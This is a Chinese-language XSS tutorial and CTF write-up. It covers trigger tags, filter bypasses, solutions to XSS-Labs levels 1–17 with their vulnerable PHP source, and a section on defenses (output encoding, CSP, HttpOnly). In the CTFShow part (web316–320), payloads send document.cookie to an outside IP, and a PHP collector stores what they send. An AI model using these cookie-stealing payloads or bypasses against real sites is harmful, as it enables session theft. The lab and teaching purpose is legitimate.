XSS漏洞-XSSLABS-CTFShow-案例分析
XSS前置知识
一些常见的触发XSS的标签
<script>
<script>alert(1)</script>
<img>
<img src="1" onerror=alert(1)>
<img src="1" onmouseover="alert(1)">
<a>
<a href="http://120.53.240.199/test.php">外部链接</a>
<a href=javascript:alert(1)>test</a>
<a href="javascript:a" onload="alert(1)">test</a>
<a href="" onclick="alert(1)">test</a>
<input>
<input onfocus="alert('xss');" autofocus>
<input name="name" value="">
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
按下按键时触发
<input type="text" onkeydown="alert(1)">
按下按键时触发
<input type="text" onkeypress="alert(1)">
松开按键式时触发
<input type="text" onkeyup="alert(1)">
<form>
<form action=javascript:alert(1)>1</form>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<iframe>
<iframe onload=alert(1)></iframe>
<iframe src=javascript:alert(1)></iframe>
<body>
<body onload="alert(1)">
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<button>
元素上点击鼠标时触发
<button onclick="alert(1)">text</button>
<p>
元素上按下鼠标时触发
<p onmousedown="alert(1)">text</p>
元素上释放鼠标时触发
<p onmouseup="alert(1)">text</p>
<details>
<details ontoggle="alert('xss');">
使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">
javascript伪协议
<a>标签
<a href="javascript:alert('xss');">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>
存在过滤情况
过滤空格
用 / 代替空格
<img/src="x"/onerror=alert(1);>
过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert(1);>
双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert(1);>
字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(1);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](1);</script>
xss-labs-案例分析
1.
第一题无任何过滤,触发alert
就完成
2.
查看源码后,可以看到这道题没有用这个函数,只是在提示用了这个函数,那么闭合就行
//把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
<input name=keyword value="'.$str.'">
?>
介绍一下这个函数
//通过<"">闭合代码
"><script>alert(1)</script><"
3.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
htmlspecialchars函数只针对预定义字符进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus事件绕过,单引号'
闭合
' onfocus=javascript:alert(1) '
点击输入框就会弹窗
4
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
这里把输入的>
,<
过滤了,但这并不影响我们之前说到的onfocus
事件,注意闭合双引号"
" onfocus=javascript:alert(1) "
5.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
这道题把接收的字符串全转化为小写并把<script
和on
过滤了,可以考虑用a标签href
属性触发JS代码
"><a href=javascript:alert(1)>x</a><"
6.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这道题增加了对输入keyword的过滤,htmlspecialchars()
并没有用于过滤,试一下大小写绕过
"><sCript>alert(1)</scrIpt><"
7.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这道题用了strtolower()
,就不能用大小写绕过,不过过滤不严谨,可以用嵌套过滤绕过
"><scripscriptt>alert(1)</scscriptript><"
8.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
还是关键字过滤,我们能利用href的隐藏属性自动Unicode解码,利用工具对payload进行Unicode编码
javascript:alert(1)
javascript:alert(1)
9.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
这道题增加了一个条件判断if(false===strpos($str7,'http://'))
,判断在str7中是否有http://
,如果有就执行else
中语句,那么我们就需要在payload里面增加http://
,需要注意的是,我们前面说到过a标签的href
属性不只是跳转链接,也可以执行JS代码,那么我们就需要把http://
注释,避免JS代码执行错误
javascript:alert(1);/*http://*/
javascript:alert(1);/*http://*/
10.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
代码审计,这道题没有过滤onfucus关键字,但要注意type="hidden"
,需要改一下
" onfocus=javascript:alert(1) type="text" "
11.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这道题可以用str11
传参,在BP中改一下请求包,注意一下双引号闭合
Referer: " onfocus=javascript:alert(1) type="text" "
12.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
更改UA头,触发XSS
User-Agent: " onfocus=javascript:alert(1) type="text" "
13.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
改Cookie中user的值
14.
参考文章:https://www.freebuf.com/articles/web/282983.html
网站挂了无法演示
15.
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
ng-include指令参考链接:https://blog.csdn.net/u011127019/article/details/53666528
这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>
,但是可以包涵那些标签的东西比如<a>
、<input>
、<img>
、<p>
标签等等
"./level1.php?name=<p%20onmousedown=alert(1)>666</p>"
16.
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
这道题主要是过滤了空格,可以用%0a
过滤
<input%0aonfocus=alert()%0atype="text">
17
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=index.png?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
不支持FLASH插件可以改一下<embed src=index.png
?arg02= onclick=alert()
后面都差不多就不赘述了
CTFShow-XSS-案例分析
关于这个平台:CTFSHOW的XSS平台是这样的你每次提交后,后台会有一个机器人访问你的生成链接来模拟管理员触发恶意代码,可以通过生成链接来判断输入内容是否被过滤
关于接受数据:两种方法,可以用XSS平台:https://xssaq.com/,或者用自己创建的公网IP
web316
<script>window.location.href='http://120.53.240.199/flag.php?x='+document.cookie</script>
window.location.href=
会跳转到这个链接页面
document.cookie
可以获取cookie作为参数
<?php
$flag = $_GET['x'];
$file = fopen("flag.txt", "w+");
fwrite($file, $flag);
fclose($file);
web317
输入不含script
字段内容会有提示,输入含有script
内容为空,这道题过滤了script
<body onload="window.location.href='http://120.53.240.199/flag.php?x='+document.cookie">
web318
和上一题一样也可以用<body>
标签
web319
在<body>
标签中使用了onload
事件处理器来重定向页面,并尝试获取document.cookie
。这里的问题在于,页面尚未完全加载完成,所以document.cookie
可能还没有包含当前页面的所有Cookie信息。此外,页面在onload
触发后立即进行了重定向,这意味着它没有足够的时间来接收和设置Cookie,也就是说在body
标签中使用onload
事件获取document.cookie
是接收重定向的Cookie(也就是CTFShow触发链接的页面中的Cookie)
而在一个<iframe>
元素中设置了onload
事件处理器。<iframe>
元素允许在一个文档中嵌入另一个文档。当<iframe>
加载完毕时,它的onload
事件会被触发。在这个事件中,尝试获取父窗口的document.cookie
。这里的关键点在于<iframe>
加载的文档与主文档是分离的,但它们共享同一个浏览器窗口上下文。因此,在<iframe>
中获取到的document.cookie
实际上是主文档(即包含<iframe>
的页面)的Cookie。当<iframe>
加载完成后,它的onload
事件触发时,父文档已经完全加载完毕,包括其所有的资源和Cookie。因此,在onload
事件处理器中,document.cookie
包含了主文档的Cookie信息
这道题可以用body标签也可以用svg标签
<svg onload="window.location.href='http://120.53.240.199/flag.php?x='+document.cookie">
web320
通过生成链接判断过滤了空格,前面说过用/
可以绕过,还需要注意的是这道题用onload事件处理,有时候得到的是当前页面的Cookie多试几次就可以了
<svg/onload="window.location.href='http://120.53.240.199/flag.php?x='+document.cookie">
web321-326
同上
web327
这题开始就是存储型XSS了
用BP抓包,收件人是admin才会返回发送成功,在信的内容中写入payload
web328
存储型XSS,我们先注册一个没用JS代码的普通用户,在用户管理并不能看到用户信息,但是至此知道了这里大概率在用户管理这里触发用户注册时保存在数据库的XSS脚本
XSS防御
跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器环境中注入恶意脚本,从而窃取敏感信息或执行未经授权的操作。防御XSS的核心思路是确保应用程序能够正确地处理用户输入,并且对输出进行安全编码,以防止恶意脚本被执行。
XSS防御的核心思路
-
输入验证:
- 对所有用户输入进行验证,确保只接受预期格式的数据。
- 使用白名单和黑名单策略来过滤输入,确保只有安全的数据被接受。
-
输出编码:
- 在呈现到用户之前,对所有动态内容进行适当的HTML实体编码,以防止脚本被执行。
- 使用安全的函数和库来处理输出,例如PHP的
htmlspecialchars()
。
-
内容安全策略 (CSP):
- 使用HTTP头部中的Content Security Policy来限制哪些来源的内容可以被加载。
- CSP可以帮助阻止恶意脚本的执行,通过定义哪些脚本源是可信的。
-
HTTPOnly Cookies:
- 使用
HttpOnly
标志来标记敏感的Cookies,这样它们就不能通过JavaScript访问,从而减少了通过XSS窃取Cookies的风险。
- 使用
-
同源策略:
- 确保应用程序遵守同源策略,限制不同源的脚本访问文档对象模型(DOM)。
-
安全上下文:
- 在不同的上下文中正确处理数据,例如HTML、JS、CSS、URL等,确保在适当的情况下使用正确的编码。
具体操作
输入验证
-
白名单验证:
- 只允许预期的字符集和数据格式。
- 例如,使用正则表达式来验证表单输入。
-
黑名单验证:
- 移除或转义潜在的危险字符。
- 使用PHP的
filter_var()
函数来清理输入。
输出编码
-
HTML实体编码:
- 使用
htmlspecialchars()
来转义HTML特殊字符。 - 示例:
echo htmlspecialchars($input);
- 使用
-
JS上下文编码:
- 使用
json_encode()
来转义JSON数据,然后使用htmlspecialchars()
来确保在HTML上下文中安全。 - 示例:
echo htmlspecialchars(json_encode($input), ENT_QUOTES, 'UTF-8');
- 使用
-
CSS上下文编码:
- 使用
addcslashes()
或第三方库来处理CSS上下文中的输出。
- 使用
内容安全策略 (CSP)
- HTTP头部:
- 在服务器端设置CSP头部。
- 示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
HTTPOnly Cookies
- 设置HttpOnly标志:
- 在设置Cookies时添加
HttpOnly
标志。 - 示例:
setcookie('name', 'value', time()+3600, '/', '', false, true);
- 在设置Cookies时添加
示例代码-输入验证-输出编码
假设我们有一个简单的PHP页面,用户可以在其中输入文本,然后显示在页面上。我们将使用输入验证和输出编码来防御XSS攻击:
<?php
if (isset($_POST['text'])) {
$input = $_POST['text'];
// 输入验证
$whitelist = '/^[a-zA-Z0-9\s.,!?-]*$/';
if (!preg_match($whitelist, $input)) {
$input = '';
}
// 输出编码
$safeInput = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
echo "Your input: " . $safeInput;
}
?>
<form method="post">
<textarea name="text"></textarea>
<button type="submit">Submit</button>
</form>
示例代码-HTTPOnly Cookies
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script>
</script>
</head>
<body οnlοad="window.location.href='http://120.53.240.199/flag.php?x='+document.cookie">
<h1>测试案例</h1>
<!-- http://120.53.240.199/flag.php?x=-->
</body>
</html>
<?php
// 设置一个名为 "session_id" 的HTTPOnly Cookie
// 第一个参数是Cookie的名字
// 第二个参数是Cookie的值
// 第三个参数是Cookie的有效期,这里设为1小时后
// 第四个参数是Cookie的路径,通常设为 "/"
// 第五个参数是Cookie的域名
// 第六个参数是是否只通过HTTPS发送Cookie
// 第七个参数是是否为HTTPOnly Cookie
setcookie('username', 'xiaoyu', time() + 3600, '/', '', false, true);
setcookie('password', '123456', time() + 3600, '/', '', false, true);
尝试在onload
事件中获取document.cookie
时,由于username
和password
Cookies被设置为HTTPOnly,这意味着JavaScript无法访问它们。因此,document.cookie
将不会包含这两个HTTPOnly Cookies的信息
示例代码-CSP(内容安全策略)
<meta charset="utf-8">
<!--//内容安全策略(Content Security Policy,简称CSP)是一种网络安全功能,-->
<!--//用于帮助防止跨站脚本(XSS)和其他代码注入攻击。通过指定允许加载的内容源,CSP能够显著增强Web应用程序的安全性-->
<?php
header("Content-Security-Policy: img-src 'self' https://tse1-mm.cn.bing.net; script-src 'self'; ");
//动态生成csp头部
$csp = "img-src 'self' https://tse1-mm.cn.bing.net;";
$csp .= "script-src 'self';";
$csp .= "style-src 'self'; "; //css
$csp .= "object-src 'self'"; //禁止插件加载 flash
header("Content-Security-Policy: $csp");
setcookie('name', 'xiaoyu');
setcookie('pass', '123456');
?>
<img src="https://lovingcrew.oss-cn-hangzhou.aliyuncs.com/img/202407251735510.png" alt="">
<script src="http://192.168.3.90/myjs/cookie-test.js"></script>
CSP通过定义白名单来控制浏览器可以加载和执行的资源类型和来源。当浏览器接收到CSP头部时,它会按照这些指令执行以下操作:
- 如果资源的来源不在白名单上,则该资源将不会被加载。
- 如果脚本的来源不在白名单上,则该脚本将不会被执行。
总结
XSS防御的核心在于正确地处理用户输入,并对输出进行适当的编码,以确保恶意脚本不会被执行。结合使用输入验证、输出编码、内容安全策略、HTTPOnly Cookies等技术,可以显著提高Web应用程序的安全性。此外,定期进行安全审计和渗透测试也是维护Web应用程序安全的重要环节
欢迎大家关注我的公众号,获取详细的网安学习成长路线图
参考文章
[1] https://xz.aliyun.com/t/4067?time__1311=n4%2Bxni0QG%3DoCqAKYiKDsD7feymD0g7482Y2%2BiD
[2] https://blog.csdn.net/LYJ20010728/article/details/116462782